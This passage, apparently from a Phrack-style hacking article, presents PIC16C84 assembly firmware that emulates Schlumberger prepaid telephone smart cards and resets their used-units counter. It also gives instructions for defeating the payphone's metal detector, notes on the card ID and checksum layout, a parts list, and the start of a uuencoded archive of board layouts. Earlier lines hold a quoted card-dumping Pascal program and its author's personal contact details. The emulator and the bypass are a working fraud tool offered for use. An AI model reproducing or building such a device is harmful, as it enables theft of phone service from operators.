  836.      $83:BEGIN write('Telecard');
  837.            case Data[12] of
  838.              $1E: write(' - Sweden');
  839.              $30: write(' - Norway');
  840.              $33: write(' - Andorra');
  841.              $3C: write(' - Ireland');
  842.              $47: write(' - Portugal');
  843.              $55: write(' - Czech Republic');
  844.              $5F: write(' - Gabon');
  845.              $65: write(' - Finland');
  846.            END;
  847.            if (Data[12] in [$30,$33,$3C,$47,$55,$65]) then
  848.            BEGIN case ((Data[3] and $0F)*$100+Data[4]) of
  849.               $012: write (' - 10 Units - ',units-12,' Units left');
  850.               $024: write (' - 22 Units - ',units-24,' Units left');
  851.               $027: write (' - 25 Units - ',units-27,' Units left');
  852.               $032: write (' - 30 Units - ',units-32,' Units left');
  853.               $052: write (' - 50 Units - ',units-52,' Units left');
  854.               $067: write (' - 65 Units - ',units-62,' Units left');
  855.               $070: write (' - 70 Units - ',units-70,' Units left');
  856.               $102: write (' - 100 Units - ',units-102,' Units left');
  857.               $152: write (' - 150 Units -  ',units-152,' Units left');
  858.              END;
  859.             END;
  860. {                    write(' - N░ ',Data[5]*$100+Data[6]);}
  861.           END;
  862.     END;
  863.   END;
  864.  
  865. {-----------------------------------------------------------------------------}
  866.  
  867. PROCEDURE waiting;
  868.  
  869.   BEGIN send($00);
  870.     write('Enter a card in the reader and press a key ...');
  871.     repeat until keypressed;
  872.     gotoxy(1, wherey);
  873.     clreol;
  874.   END;
  875.  
  876. {-----------------------------------------------------------------------------}
  877.  
  878. PROCEDURE Full_Displaying;
  879.  
  880.   BEGIN writeln('Memory dump:');
  881.     for i:=1 to 80 do write('-');
  882.     for i:=1 to (byte_number div 6 + 1) do
  883.     BEGIN for j:=1 to 6 do
  884.           BEGIN if j+6*(i-1) <= byte_number then write(binary(Data[j+6*(i-1)]):9);
  885.           END;
  886.           gotoxy(60,wherey);
  887.           for j:=1 to 6 do
  888.           if j+6*(i-1) <= byte_number then write(d2h(Data[j+6*(i-1)]),' ');
  889.           writeln;
  890.     END;
  891.     for i:=1 to 80 do write('-');
  892.     Card_Type;
  893.     writeln;
  894.   END;
  895.  
  896. {-----------------------------------------------------------------------------}
  897.  
  898. PROCEDURE Short_Displaying;
  899.  
  900.   VAR j : integer;
  901.  
  902.   BEGIN for j:=1 to byte_number do
  903.     BEGIN write(d2h(Data[j]),' ');
  904.     END;
  905.     writeln;
  906.   END;
  907.  
  908. {-----------------------------------------------------------------------------}
  909.  
  910. PROCEDURE Reading;
  911.  
  912.   VAR i, j  : integer;
  913.       Value : byte;
  914.  
  915.   BEGIN send($FE);
  916.     send($F8);
  917.     for i:=1 to 32 do
  918.     BEGIN Value:=0;
  919.           for j:=1 to 8 do
  920.           BEGIN Value:=Value*$02 + ((get and $08) div $08);
  921.             send($FB);
  922.             delay(1);
  923.             send($F8);
  924.           END;
  925.           Data[i]:=Value;
  926.     END;
  927.     case displaying of
  928.       'F':full_displaying;
  929.       'S':short_displaying;
  930.     END;
  931.   END;
  932.  
  933. {-----------------------------------------------------------------------------}
  934.  
  935. PROCEDURE writting;
  936.  
  937.   VAR i,n:integer;
  938.       car:char;
  939.  
  940.   BEGIN write('Which bit do you want to set to "1" : ');
  941.     readln(n);
  942.  
  943.     waiting;
  944.     car:=readkey;
  945.  
  946.     send($FA);
  947.     send($F8);
  948.     for i:=1 to n do
  949.     BEGIN send($F9);
  950.           if i=n then
  951.           BEGIN send($FD);
  952.             delay(20);
  953.             send($FF);
  954.             delay(20);
  955.           END;
  956.           send($FB);
  957.     END;
  958.     reading;
  959.   END;
  960.  
  961. {-----------------------------------------------------------------------------}
  962.  
  963. PROCEDURE Saving;
  964.  
  965.   VAR filename : string;
  966.       f        : text;
  967.       i        : word;
  968.  
  969.   BEGIN write('Enter the filename: ');
  970.     readln(filename);
  971.     assign(f, filename);
  972.     rewrite(f);
  973.     for i:=1 to byte_number do write(f,d2h(Data[i]),' ');
  974.     close(f);
  975.   END;
  976.  
  977. {-----------------------------------------------------------------------------}
  978.  
  979. PROCEDURE initialize;
  980.  
  981.   VAR i : integer;
  982.  
  983.   BEGIN byte_number:=32;
  984.     displaying:='F';
  985.     clrscr;
  986.     writeln(' 1 - to dump a 256 bits card');
  987.     writeln(' 2 - to dump a 128 bits card');
  988.     writeln(' F - to display in full format');
  989.     window(41,1,80,25);
  990.     writeln(' S  - to display in short format');
  991.     writeln(' F2 - to save in a file');
  992.     writeln(' Q  - to exit the program');
  993.     window(1,4,80,25);
  994.     for i:=1 to 80 do write('=');
  995.     window(1,5,80,25);
  996.   END;
  997.  
  998. {=============================================================================}
  999.  
  1000. BEGIN initialize;
  1001.       repeat waiting;
  1002.          car:=upcase(readkey);
  1003.          case car of
  1004.           'W':writting;
  1005.           'Q':;
  1006.           '1':byte_number:=32;
  1007.           '2':byte_number:=16;
  1008.           'F','S':displaying:=car;
  1009.           #00: BEGIN car:=readkey;
  1010.              if car=#60 then saving;
  1011.            END;
  1012.           else reading;
  1013.          END;
  1014.       until car='Q';
  1015. END.
  1016. --------------- cut here (end)
  1017.  
  1018.  
  1019.  
  1020.  
  1021.  
  1022.     _/_/_/_/_/               Stephane BAUSSON
  1023.        _/_/_/_/_/    Engineering student at ENSEM (Nancy - France)
  1024.       _/_/_/_/_/   Smail: 4, Rue de Grand, F-88630 CHERMISEY, France
  1025.      _/_/_/_/_/
  1026.     _/_/_/_/_/            Email: sbausson@ensem.u-nancy.fr
  1027.  
  1028. ------------------------------------------------------------------------------
  1029. <End of text quoted from Stephane Bausson's text about the telephone cards>.
  1030.  
  1031.  
  1032. The Program:
  1033. ~~~~~~~~~~~~
  1034. Well, when I saw this phile about the cards the first time, about a year ago
  1035. I quickly realized that this system is very unsecure and really needs to be
  1036. hacked. So, now I present you with a piece of software for the PIC 16C84 RISC
  1037. microcontroller from Microchip that will take care of emulating the cards
  1038. used by Schlumberger and others. This system is to be found in Scandinavia
  1039. (Sweden, Norway and Finland), Spain, France and other countries. I do know
  1040. that France probably needs some small modifications for this to work, but I
  1041. see no reason to as why it shouldn't do so! For this to work, you need to
  1042. have access to a PROM burner which can handle the PIC 16C84, or you might
  1043. just build one yourself as I include some plans for that in the UUEncoded
  1044. block to be found at the end of this phile. First of all, you have to read
  1045. off the first 12 bytes of data from a valid card from the country you wish
  1046. your emulator to work in. This because I don't think it would be a good idea
  1047. to publish stolen card identities in Phrack. Then you simply enter those 12
  1048. bytes of data in the proper place in my program and compile it. That's it...
  1049. And since I happen to choose a version of the PIC with internal Data EEPROM,
  1050. that means that the first 12 locations of the Data EEPROM should contain the
  1051. card id bytes. As of today this code should work smooth and fine, but maybe
  1052. you'll need to modify it later on when Schlumberger gets tired of my hack.
  1053. But since the PIC is a very fast and powerful microcontroller it might be
  1054. quite hard for them to come up with a solution to this problem. Let's have
  1055. a look at the PIC Software! (Note that the current version of Microchip's
  1056. PICSTART 16B package is unable to program the DATA EEPROM array in the 16C84
  1057. so if you are going to use that one, use the other version of the source code
  1058. which you'll find in the UUEncoded part!).
  1059.  
  1060. <Start of TELECARD.ASM>.
  1061. ==============================================================================
  1062.  
  1063.     TITLE   "ISO 7816 Synchronous Memory Card Emulator"
  1064.     LIST    P=PIC16C84, R=HEX
  1065.     INCLUDE "PICREG.EQU"
  1066.  
  1067. ; PIC16C84 I/O Pin Assignment List
  1068.  
  1069. CRD_CLK         equ     0       ; RB0 + RA4 = Card Clock
  1070. CRD_DTA         equ     0       ; RA0 = Card Data Output
  1071. CRD_RST         equ     1       ; RB1 = Card Reset, Low-Active
  1072. CRD_WE          equ     7       ; RB7 = Card Write-Enable, Hi-Active
  1073.  
  1074. ; PIC16C84 RAM Register Assignments
  1075.  
  1076. CRD_ID          equ     0x00c   ; Smartcard ID, 12 bytes
  1077. FUSCNT          equ     0x018   ; Fused units counter
  1078. BITCNT          equ     0x019   ; Bitcounter
  1079. LOOPCNT         equ     0x01a   ; Loop Counter
  1080. EE_FLAG         equ     0x01b   ; EEPROM Write Flag
  1081. TEMP1           equ     0x01c   ; Temporary Storage #1
  1082. TEMP2           equ     0x01d   ; Temporary Storage #2
  1083. TEMP3           equ     0x01e   ; Temporary Storage #3
  1084. TEMP4           equ     0x01f   ; Temporary Storage #4
  1085. TEMP_W          equ     0x02e   ; Temporary W Save Address
  1086. TEMP_S          equ     0x02f   ; Temporary STATUS Save Address
  1087.  
  1088.     org     0x2000          ; Chip ID Data
  1089.     dw      042,042,042,042
  1090.  
  1091.     org     0x2007          ; Configuration Fuses
  1092.     dw      B'00000001'
  1093.  
  1094.     org     0x2100          ; Internal Data EEPROM Memory (Card ID!!!)
  1095.     db      0x081,0x042,0x000,0x011,0x022,0x033
  1096.     db      0x044,0x055,0x066,0x077,0x011,0x084
  1097.     db      0x002           ; Default used up credits value
  1098.  
  1099.     org     PIC84           ; Reset-vector
  1100.     goto    INIT            ; Jump to initialization routine
  1101.  
  1102.     org     INTVEC          ; Interupt-vector
  1103.     push                    ; Save registers
  1104.     call    INTMAIN         ; Call main interupt routine
  1105.     pop                     ; Restore registers
  1106.     retfie                  ; return from interupt & clear flag
  1107.  
  1108.     org     0x010           ; Start address for init rout.
  1109. INIT    bsf     STATUS,RP0      ; Access register bank 1
  1110.     clrwdt                  ; Clear watchdog timer
  1111.     movlw   B'11101000'     ; OPTION reg. settings
  1112.     movwf   OPTION          ; Store in OPTION register
  1113.     movlw   B'11111110'     ; Set PORT A Tristate Latches
  1114.     movwf   TRISA           ; Store in PORT A tristate register
  1115.     movlw   B'11111111'     ; Set PORT B Tristate Latches
  1116.     movwf   TRISB           ; Store in PORT B tristate register
  1117.     bcf     STATUS,RP0      ; Access register bank 0
  1118.     clrf    RTCC            ; Clear RTCC
  1119.     clrf    PORTA           ; Clear PORTA
  1120.     clrf    PORTB           ; Clear PORTB
  1121.     movlw   0d              ; 13 bytes to copy
  1122.     movwf   LOOPCNT         ; Store in LOOPCNT
  1123.     movlw   0c              ; Start storing at $0c in RAM
  1124.     movwf   FSR             ; Store in FSR
  1125.     clrf    EEADR           ; Start at EEPROM Address 0
  1126. EECOPY
  1127.     bsf     STATUS,RP0      ; Access register bank 1
  1128.     bsf     EECON1,RD       ; Set EECON1 Read Data Flag
  1129.     bcf     STATUS,RP0      ; Access register bank 0
  1130.     movfw   EEDATA          ; Read one byte of EEPROM Data
  1131.     movwf   INDIR           ; Store in RAM pointed at by FSR
  1132.     incf    FSR             ; Increase FSR pointer
  1133.     incf    EEADR           ; Increase EEPROM Address Pointer
  1134.     decfsz  LOOPCNT,1       ; Decrease LOOPCNT until it's 0
  1135.     goto    EECOPY          ; Go and get some more bytes!
  1136.     bsf     STATUS,RP0      ; Access register bank 1
  1137.     bcf     EECON1,EEIF     ; Clear EEPROM Write Int. Flag
  1138.     bcf     EECON1,WREN     ; EEPROM Write Disable
  1139.     bcf     STATUS,RP0      ; Access register bank 0
  1140.     movlw   B'10010000'     ; Enable INT Interupt
  1141.     movwf   INTCON          ; Store in INTCON
  1142.  
  1143. MAIN    bsf     STATUS,RP0      ; Access register bank 1
  1144.     btfsc   EECON1,WR       ; Check if EEPROM Write Flag Set
  1145.     goto    MAIN            ; Skip if EEPROM Write is Completed
  1146.     bcf     EECON1,EEIF     ; Reset Write Completion Flag
  1147.     bcf     EECON1,WREN     ; EEPROM Write Disable
  1148.     bcf     STATUS,RP0      ; Access register bank 0
  1149.     btfss   EE_FLAG,LSB     ; Check for EEPROM Write Flag
  1150.     goto    MAIN            ; If not set, jump back and wait some more
  1151.     clrf    EE_FLAG         ; Clear EEPROM Write Flag
  1152.     movlw   0c              ; Units is stored in byte $0c
  1153.     movwf   EEADR           ; Store in EEPROM Address Counter
  1154.     movfw   FUSCNT          ; Get fused units counter
  1155.     movwf   EEDATA          ; Store in EEDATA
  1156.     bsf     STATUS,RP0      ; Access register bank 1
  1157.     bsf     EECON1,WREN     ; EEPROM Write Enable
  1158.     bcf     INTCON,GIE      ; Disable all interupts
  1159.     movlw   055             ; Magic Number #1 for EEPROM Write
  1160.     movwf   EECON2          ; Store in EECON2
  1161.     movlw   0aa             ; Magic Number #2 for EEPROM Write
  1162.     movwf   EECON2          ; Store in EECON2
  1163.     bsf     EECON1,WR       ; Execute EEPROM Write
  1164.     bsf     INTCON,GIE      ; Enable all interupts again!
  1165.     bcf     STATUS,RP0      ; Access register bank 0
  1166.     goto    MAIN            ; Program main loop!
  1167.  
  1168. INTMAIN btfsc   INTCON,INTF     ; Check for INT Interupt
  1169.     goto    INTMAIN2        ; If set, jump to INTMAIN2
  1170.     movlw   B'00010000'     ; Enable INT Interupt
  1171.     movwf   INTCON          ; Store in INTCON
  1172.     return
  1173.  
  1174. INTMAIN2
  1175.     bcf     STATUS,RP0      ; Access register bank 0
  1176.     bsf     PORTA,CRD_DTA   ; Set Data Output High
  1177.     btfsc   PORTB,CRD_RST   ; Check if reset is low
  1178.     goto    NO_RST          ; If not, skip reset sequence
  1179.     movfw   RTCC            ; Get RTCC Value
  1180.     movwf   TEMP4           ; Store in TEMP4
  1181.     clrf    RTCC            ; Clear RTCC
  1182.     movlw   055             ; Subtract $55 from TEMP4
  1183.     subwf   TEMP4,0         ; to check for card reset....
  1184.     bnz     NO_RST2         ; If not zero, jump to NO_RST
  1185.     movlw   02              ; Unused one has $02 in FUSCNT
  1186.     movwf   FUSCNT          ; Store full value in FUSCNT
  1187.     bsf     EE_FLAG,LSB     ; Set EEPROM Write Flag
  1188. NO_RST2 bcf     INTCON,INTF     ; Clear INT Interupt Flag
  1189.     return                  ; Mission Accomplished, return to sender
  1190.  
  1191. NO_RST  movfw   RTCC            ; Get RTCC Value
  1192.     movwf   BITCNT          ; Copy it to BITCNT
  1193.     movwf   TEMP1           ; Copy it to TEMP1
  1194.     movwf   TEMP2           ; Copy it to TEMP2
  1195.     movlw   060             ; Load W with $60
  1196.     subwf   TEMP1,0         ; Subtract $60 from TEMP1
  1197.     bz      CREDIT          ; If it is equal to $60
  1198.     bc      CREDIT          ; or greater, then skip to units area
  1199.     rrf     TEMP2           ; Rotate TEMP2 one step right
  1200.     rrf     TEMP2           ; Rotate TEMP2 one step right
  1201.     rrf     TEMP2           ; Rotate TEMP2 one step right
  1202.     movlw   0f              ; Load W with $f
  1203.     andwf   TEMP2,1         ; And TEMP2 with W register
  1204.     movfw   TEMP2           ; Load W with TEMP2
  1205.     addlw   0c              ; Add W with $0c
  1206.     movwf   FSR             ; Store data address in FSR
  1207.     movfw   INDIR           ; Get databyte pointed at by FSR
  1208.     movwf   TEMP3           ; Store it in TEMP3
  1209.     movlw   07              ; Load W with $07
  1210.     andwf   TEMP1,1         ; And TEMP1 with $07
  1211.     bz      NO_ROT          ; If result is zero, skip shift loop
  1212. ROTLOOP rlf     TEMP3           ; Shift TEMP3 one step left
  1213.     decfsz  TEMP1,1         ; Decrement TEMP1 until zero
  1214.     goto    ROTLOOP         ; If not zero, repeat until it is!
  1215. NO_ROT  btfss   TEMP3,MSB       ; Check if MSB of TEMP3 is set
  1216.     bcf     PORTA,CRD_DTA   ; Clear Data Output
  1217.     bcf     INTCON,INTF     ; Clear INT Interupt Flag
  1218.     return                  ; Mission Accomplished, return to sender
  1219.  
  1220. CREDIT  btfss   PORTB,CRD_WE    ; Check if Card Write Enable is High
  1221.     goto    NO_WRT          ; Abort write operation if not...
  1222.     btfss   PORTB,CRD_RST   ; Check if Card Reset is High
  1223.     goto    NO_WRT          ; Abort write operation if not...
  1224.     incf    FUSCNT          ; Increase used-up units counter
  1225.     bsf     EE_FLAG,LSB     ; Set EEPROM Write-Flag
  1226.     bcf     INTCON,INTF     ; Clear INT Interupt Flag
  1227.     return                  ; Mission Accomplished, return to sender
  1228.  
  1229. NO_WRT  movlw   060             ; Load W with $60
  1230.     subwf   BITCNT,1        ; Subtract $60 from BITCNT
  1231.     movfw   FUSCNT          ; Load W with FUSCNT
  1232.     subwf   BITCNT,1        ; Subtract FUSCNT from BITCNT
  1233.     bnc     FUSED           ; If result is negative, unit is fused
  1234.     bcf     PORTA,CRD_DTA   ; Clear Data Output
  1235. FUSED   bcf     INTCON,INTF     ; Clear INT Interupt Flag
  1236.     return                  ; Mission Accomplished, return to sender
  1237.     
  1238.     END
  1239.  
  1240. ==============================================================================
  1241. <End of TELECARD.ASM>.
  1242.  
  1243. <Start of PICREG.EQU>.
  1244. ==============================================================================
  1245.  
  1246. ; PIC16Cxx Microcontroller Include File
  1247.  
  1248. PIC54           equ     0x1ff   ; PIC16C54 Reset Vector
  1249. PIC55           equ     0x1ff   ; PIC16C55 Reset Vector
  1250. PIC56           equ     0x3ff   ; PIC16C56 Reset Vector
  1251. PIC57           equ     0x7ff   ; PIC16C57 Reset Vector
  1252. PIC71           equ     0x000   ; PIC16C71 Reset Vector
  1253. PIC84           equ     0x000   ; PIC16C84 Reset Vector
  1254. INTVEC          equ     0x004   ; PIC16C71/84 Interupt Vector
  1255.  
  1256. INDIR           equ     0x000   ; Indirect File Reg Address Register
  1257. RTCC            equ     0x001   ; Real Time Clock Counter
  1258. PCL             equ     0x002   ; Program Counter Low Byte
  1259. STATUS          equ     0x003   ; Status Register
  1260. FSR             equ     0x004   ; File Select Register
  1261. PORTA           equ     0x005   ; Port A I/O Register
  1262. PORTB           equ     0x006   ; Port B I/O Register
  1263. PORTC           equ     0x007   ; Port C I/O Register
  1264. ADCON0          equ     0x008   ; PIC16C71 A/D Control Reg 0
  1265. ADRES           equ     0x009   ; PIC16C71 A/D Converter Result Register
  1266. EEDATA          equ     0x008   ; PIC16C84 EEPROM Data Register
  1267. EEADR           equ     0x009   ; PIC16C84 EEPROM Address Register
  1268. PCLATH          equ     0x00a   ; Program Counter High Bits
  1269. INTCON          equ     0x00b   ; Interrupt Control Register
  1270. TRISA           equ     0x005   ; Port A I/O Direction Register
  1271. TRISB           equ     0x006   ; Port B I/O Direction Register
  1272. TRISC           equ     0x007   ; Port C I/O Direction Register
  1273. ADCON1          equ     0x008   ; PIC16C71 A/D Control Reg 1
  1274. EECON1          equ     0x008   ; PIC16C84 EEPROM Control Reg. 1
  1275. EECON2          equ     0x009   ; PIC16C84 EEPROM Control Reg. 2
  1276. OPTION          equ     0x001   ; Option Register
  1277.  
  1278. MSB             equ     0x007   ; Most-Significant Bit
  1279. LSB             equ     0x000   ; Least-Significant Bit
  1280. TRUE            equ     1
  1281. YES             equ     1
  1282. FALSE           equ     0
  1283. NO              equ     0
  1284.  
  1285. ; Status Register (f03) Bits
  1286.  
  1287. CARRY           equ     0x000   ; Carry Bit
  1288. C               equ     0x000   ; Carry Bit
  1289. DCARRY          equ     0x001   ; Digit Carry Bit
  1290. DC              equ     0x001   ; Digit Carry Bit
  1291. Z_BIT           equ     0x002   ; Zero Bit
  1292. Z               equ     0x002   ; Zero Bit
  1293. P_DOWN          equ     0x003   ; Power Down Bit
  1294. PD              equ     0x003   ; Power Down Bit
  1295. T_OUT           equ     0x004   ; Watchdog Time-Out Bit
  1296. TO              equ     0x004   ; Watchdog Time-Out Bit
  1297. RP0             equ     0x005   ; Register Page Select 0
  1298. RP1             equ     0x006   ; Register Page Select 1
  1299. IRP             equ     0x007   ; Indirect Addressing Reg. Page Sel.
  1300.  
  1301. ; INTCON Register (f0b) Bits
  1302.  
  1303. RBIF            equ     0x000   ; RB Port change interrupt flag
  1304. INTF            equ     0x001   ; INT Interrupt Flag
  1305. RTIF            equ     0x002   ; RTCC Overflow Interupt Flag
  1306. RBIE            equ     0x003   ; RB Port Ch. Interupt Enable
  1307. INTE            equ     0x004   ; INT Interupt Enable
  1308. RTIE            equ     0x005   ; RTCC Overflow Int. Enable
  1309. ADIE            equ     0x006   ; PIC16C71 A/D Int. Enable
  1310. EEIE            equ     0x006   ; PIC16C84 EEPROM Write Int. Enable
  1311. GIE             equ     0x007   ; Global Interupt Enable
  1312.  
  1313. ; OPTION Register (f81) Bits
  1314.  
  1315. PS0             equ     0x000   ; Prescaler Bit 0
  1316. PS1             equ     0x001   ; Prescaler Bit 1
  1317. PS2             equ     0x002   ; Prescaler Bit 2
  1318. PSA             equ     0x003   ; Prescaler Assignment Bit
  1319. RTE             equ     0x004   ; RTCC Signal Edge Select
  1320. RTS             equ     0x005   ; RTCC Signal Source Select
  1321. INTEDG          equ     0x006   ; Interupt Edge Select
  1322. RBPU            equ     0x007   ; Port B Pull-up Enable
  1323.  
  1324. ; ADCON0 Register (f08) Bits
  1325.  
  1326. ADON            equ     0x000   ; A/D Converter Power Switch
  1327. ADIF            equ     0x001   ; A/D Conversion Interupt Flag
  1328. ADGO            equ     0x002   ; A/D Conversion Start Flag
  1329. CHS0            equ     0x003   ; A/D Converter Channel Select 0
  1330. CHS1            equ     0x004   ; A/D Converter Channel Select 1
  1331. ADCS0           equ     0x006   ; A/D Conversion Clock Select 0
  1332. ADCS1           equ     0x007   ; A/D Conversion Clock Select 0
  1333.  
  1334. ; ADCON1 Register (f88) Bits
  1335.  
  1336. PCFG0           equ     0x000   ; RA0-RA3 Configuration Bit 0
  1337. PCFG1           equ     0x001   ; RA0-RA3 Configuration Bit 0
  1338.  
  1339. ; EECON1 Register (f88) Bits
  1340.  
  1341. RD              equ     0x000   ; PIC16C84 EEPROM Read Data Flag
  1342. WR              equ     0x001   ; PIC16C84 EEPROM Write Data Flag
  1343. WREN            equ     0x002   ; PIC16C84 EEPROM Write Enable Flag
  1344. WRERR           equ     0x003   ; PIC16C84 EEPROM Write Error Flag
  1345. EEIF            equ     0x004   ; PIC16C84 EEPROM Interupt Flag
  1346.  
  1347. ; Some useful macros...
  1348.  
  1349. PUSH    macro
  1350.     movwf   TEMP_W
  1351.     swapf   STATUS,W
  1352.     movwf   TEMP_S
  1353.     endm
  1354.  
  1355. POP     macro
  1356.     swapf   TEMP_S,W
  1357.     movwf   STATUS
  1358.     swapf   TEMP_W
  1359.     swapf   TEMP_W,W
  1360.     endm
  1361.  
  1362.     END
  1363.  
  1364. ==============================================================================
  1365. <End of PICREG.EQU>.
  1366.  
  1367. The Security System:
  1368. ~~~~~~~~~~~~~~~~~~~~
  1369. The security of the Schlumberger card system depends strongly on two things:
  1370. the metal detector in the card reader which senses if there is any metal on
  1371. the card where there shouldn't be any metal. Circuit traces on a home built
  1372. card is definitively made of metal. So, we have to figure out a way of
  1373. getting around this problem... Well, that isn't really too hard! They made
  1374. one really big mistake: If the metal detector is grounded, it doesn't work!!
  1375. If you look at the printout of my layouts for this card you'll find one big
  1376. area of the board that is rectangle shaped. In this area you should make a
  1377. big blob of solder that is between 2-3 millimetres high (approximately!).
  1378. When the card slides into the phone, the blob should be touching the metal
  1379. detector and since the blob is connected to ground the detector is also
  1380. being grounded. The fone also counts the number of times the metal detector
  1381. gets triggered by foreign objects in the card reader (Meaning that the
  1382. phone companys security staff can see if someone's attempting to use a fake
  1383. card that doesn't have this counter-measure on it!) and this is of course
  1384. included in the daily service report the fone sends to the central computer.
  1385.  
  1386. The second security lies in the cards first 12 bytes, it's not just what it
  1387. appears to be: a serial number, it's more than that. Part of the first byte is
  1388. a checksum of the number of 1's in the 11 bytes following it. Then byte 2 is
  1389. always $83, identifying the card as an electronic phonecard. Byte 3 and 4 is
  1390. the number of units on the card: The first nibble of byte 3 is always $1 and
  1391. then in the remaining three nibbles the number of units is stored in BCD code,
  1392. for example $11,$22 means 120 units (Two units is always fused at the factory
  1393. as a test, see the text by Stephane Bausson!) Then we have 4 bytes of card
  1394. serial number data, 2 bytes of card checksum (calculated with a 16 bit key
  1395. stored in the payfone ROM), 1 byte that is always $11, and then at last, byte
  1396. 12 which is the country identifier.
  1397.  
  1398. The Parts Needed:
  1399. ~~~~~~~~~~~~~~~~~
  1400.     01 * PIC16C84, 4 MHz version, Surface Mounted (SOIC-18 Package)
  1401.     01 * 4 MHz Ceramic Resonator, Surface Mounted
  1402.     02 * 22 pF Capacitors, Surface Mounted (Size 1206).
  1403.     01 * 0.8mm thick singlesided circuit board with P20 photoresist
  1404.  
  1405. The Construction:
  1406. ~~~~~~~~~~~~~~~~~
  1407. Since this project is obviously not intended for the novice in electronics
  1408. I will not go into the basic details of soldering/etching circuit boards. If
  1409. you do not know much of this, ask a friend who does for help. If you want to
  1410. reach me for help, write to Phrack and ask them to forward the letter to me
  1411. as I wish to remain anonymous - This project will probably upset a lot of
  1412. phone companies and last but not least the guys at Schlumberger Tech.
  1413.  
  1414. The UUEncoded Part:
  1415. ~~~~~~~~~~~~~~~~~~~
  1416. In this part of the phile you will find circuit board layouts for Tango PCB
  1417. as well as HP Laserjet binary files which will output the layout when printed
  1418. from DOS with the PRINT command.
  1419.  
  1420. You will also find another version of the source code to use if your PIC
  1421. prommer can't handle the programming of the 64 byte Data EEPROM array.
  1422.  
  1423. <UUEncoded Part Begins Here>.
  1424. ------------------------------------------------------------------------------
  1425.  
  1426. section 1 of uuencode 5.22 of file telecard.zip    by R.E.M.
  1427.  
  1428. begin 644 telecard.zip
  1429. M4$L#!!0````(``Q2,!V^G@!LQ@@``.P@```,````5$5,14-21#$N05--Q5G=
  1430. M<YLZ%G].9O(_G/1VM@_K9L%)D^YD^D`P2;GKV%[LW.P^=620;6TQ4!!QT[]^
  1431. M]8%``NQMLYU;SV0RH//3^=#Y%"?'1PM_,?8`X)4_G\+5>_L2YL])N,G3)"T+
  1432. MN,?;-'\&%^41>-LR1C3-7S'4V)\O&`AF'V:^:U^Z[R\&$'SXZ/V+K?D3=_PP
  1433. M\N`56PJ\NS/OGP\,<G)\#8H6_+]-8482<(J"K),M3BB,24$YE1N,/KGC?X#Z
  1434. MX2^E^&]5S]<0W%CP5PB<"_@@!7/C-/PLD:.%<PCI6`HS0A3!M*19224RD`H9
  1435. M2%OC:2MD@`M,!S!.=V^=D)(G+/&/'G3P5QK^2N$?<T+Q6R]!RQ@/X".I=S$L
  1436. M%#CWC-.:&07GFID*92)_U&5G?;6L4+";;U%.0\[-'PW`'L+RF6*&O7V8NY-%
  1437. M+])^+Y"W98$C*!-""PC3,F'L3XYO_,5>V-\%[(;0FGH\G<YT<IT:">IQFF;@
  1438. M*GK/^W0[=NYZZ9>"WO-FP?1>6@YN8[0^.5YX]S,;^D62-EC@;9;F*'^&.67_
  1439. MUQA^LR5NN`<7[<,-)>Y\#P[OPYU+W,4>W*J-6U2X"XG[]-B+&[;Y/<(</6%P
  1440. MHBC'15%AY_W8+D]G\3!O;7!R?)3FZPHSM"RKV>L:W`W)P!^)"&*$T4XN6!?#
  1441. M@?;7W>3*V"1-5F1=YHB2-!%.5VA[W;RQY,]^8^PS\WEHZ/N(8'S[A$-F<D:X
  1442. M3FG*%_R)K[DK)_R]W&;`%DE"*$$Q^28YYVE)28(-+OYD\8?GZF"?.VJ9:8RR
  1443. MLMA`S^]:6C*O(I<K%:(XKK:]=_R);@2^LD4D85))!HT\1UF:03\'IC,3PF22
  1444. M8[HBN(^:K91Y`JL\W39L_@)AC%$.*Q%+QDE9MF7J0U%.`4G7@%6:"Q,*0<].
  1445. MCI6AE\5*T$MW&@0S2^&=,.1`)2PL4?(9;&Z7.-]%M$]D5\BV0S3<1.D:*-GR
  1446. M-'&T39_BG?`.V[:9F);UI@),9PM_.N$\SJ#`E%EP74C`CHM5+1M*<0,RPS=(
  1447. M(5V;"__57.:8PFP:+,"!1<[($<4PYD)BG=DB\.=.RX(5LPI,%?@05[O#]>9_
  1448. M<;TYP/6FE^LR_*%3L^2I"4RP<+40:4Z-O]?(.'/3&I),O&_1F?(W=#>:?41]
  1449. M,^BJVB#KUH.H6U5E`5(`HO#:"C5#>9XS"OH-5>U494&8I22IS/3CSJT@GN=.
  1450. M)_8@LV'G*MQ!@5#4BLJ:]Y#R87JN=8#1R=$M?R]TKG59]5;VV2;LKT&QB
  1451. M+AT\"-5E\"P;IMFSQJ#=$6@,JJ6#.\L4Q),>2=;5D7)LX-SK6LSU<S6UF`>:
  1452. MK_6Y@,AQM.T"%F].W.GLWTKURM0,KR5VUPE&_DB3Q)^,_#T^QMNZ3#A6Q/DM
  1453. MGRO92"*/OJN$GX0Y1@462UGMDPK05:8&[/7G"(>KXEM]+(.FS1WA"JM.K$PH
  1454. MB8'0-\(8=7U55FFXWJ6`D@C6F!U4NL6PY0H+?SA]802%1@1YGG]K9`:C)_03
  1455. M>M8.H@KX&'@3,U5(R(@4O`-_<=2I=&V)2E07"=G7\V)?=PV&9RS</95(+O%B
  1456. MK+J$EQB-KHI0UUWKVG#X&<BJVTOSC*0=K=&C2!$_DZR#)#S-;K,84QP=/"W1
  1457. MH56@"B%:OC_OL+A1"L%#S!F#<54IE5%X3],S81RPB+^")*4@YL#_\,9RB=@^
  1458. MW/]WB&@!8"0=<\CI=>.*\?Y,*.L;L[WH`"/N-SS&7ESC7+T6B.36K05W[/@.
  1459. MUX]N[='X\:6?4D/W^8:,.,TU9"0-[GRO3FO2?8`G;-4#%[JAW[UK&?H>K4D(
  1460. MDW*[9!+]9G=\Q-"><=-&2D-[OJ0S0N@@H^'_RZACLZ9/^HK#DN+VY@K0-5J5
  1461. MR0R;`5HCDIR^+`[WQ],L3]<YVLI9*$[3[)3G034PJ:16B<C^W7;BMY5OFSE0
  1462. M;#$T0K<)6T:D*(RD;OWLI'XDIS!-J^$+<UEU7*)_'C0W7K*OU"ZUX"-9;[2*
  1463. M(!KI07/1I56$7&1H4C#+[S3;3:;&G5B=]@90\((@407^4N(DQ%H&Z4X&/(.(
  1464. MMW^@N-0]NGTYHEE.+'W_O+$_DN?EDN8HI/":+8DI6&U=E,M&BH'5A]D1NA%`
  1465. MWM/6SB94Y[9-OD%CJ6&W0'S#>=JXFB33A=4OHJK\+A)MFF#8H`)>,XJZ"?^.
  1466. MAGU5QC$\<2,;L"8IM`N@'$8Z%4@IU,JH>N0)X^L!H8I7==_0^5W#/2D*7OJ=
